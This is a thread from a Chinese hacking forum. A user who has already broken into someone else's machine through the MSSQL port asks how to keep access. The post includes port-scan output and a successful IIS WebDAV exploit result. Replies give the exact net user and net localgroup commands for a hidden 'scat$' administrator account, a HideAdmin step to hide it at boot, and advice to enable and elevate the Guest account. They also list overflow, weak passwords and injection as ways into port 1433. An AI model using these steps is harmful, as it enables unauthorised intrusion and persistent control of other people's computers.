怎么建立隐藏的管理员帐号

对方开放1433 ,我已经可以进入他的机器任意看文件和下载,但我想添加一个管理员帐号,需要怎么做,还有,我想知道对方SQL的密码,和用户,应该看那些文件...?谢谢
MISC->SSH->61.139.46.74 SSH Version... SSH-2.0-1.43 sshlib: WinSSHD 3.28d
PORT-> 主机 **.**.**.**端口 0021 ...开放
PORT-> 主机 **.**.**.** 端口 0080 ...开放
PORT-> 主机 **.**.**.**端口 1433 ...开放
PORT-> 主机 **.**.**.** 端口 5631 ...开放
PORT-> 主机 **.**.**.** 端口 0022 ...开放
FTP-> 主机 **.**.**.** FTP 版本信息 ...
PLUGIN-> 扫描 **.**.**.**IIS 5.0 WEBDAV Exploit ...成功

建立隐藏的用户帐号已经成为过去啦！这个方法并不可靠！
你可以激活他的Guset帐户，然后添加到管理员组！

有什么好的扫描的软件吗？

我习惯用流光5

建立隐藏用户:net user scat$ scat965071 /add
添加为管理员：net localgroup administrators scat$ /add
设置开机隐藏:HideAdmin scat$ scat965071

想要长时间的拥有同一台肉鸡可不是容易事

建立隐藏管理员账号资料
http://www.thysea.com/lb/cgi-bin/topic.cgi?forum=155&topic=29&show=0

1433怎么入侵啊

溢出，弱口令，要么就是网站注入！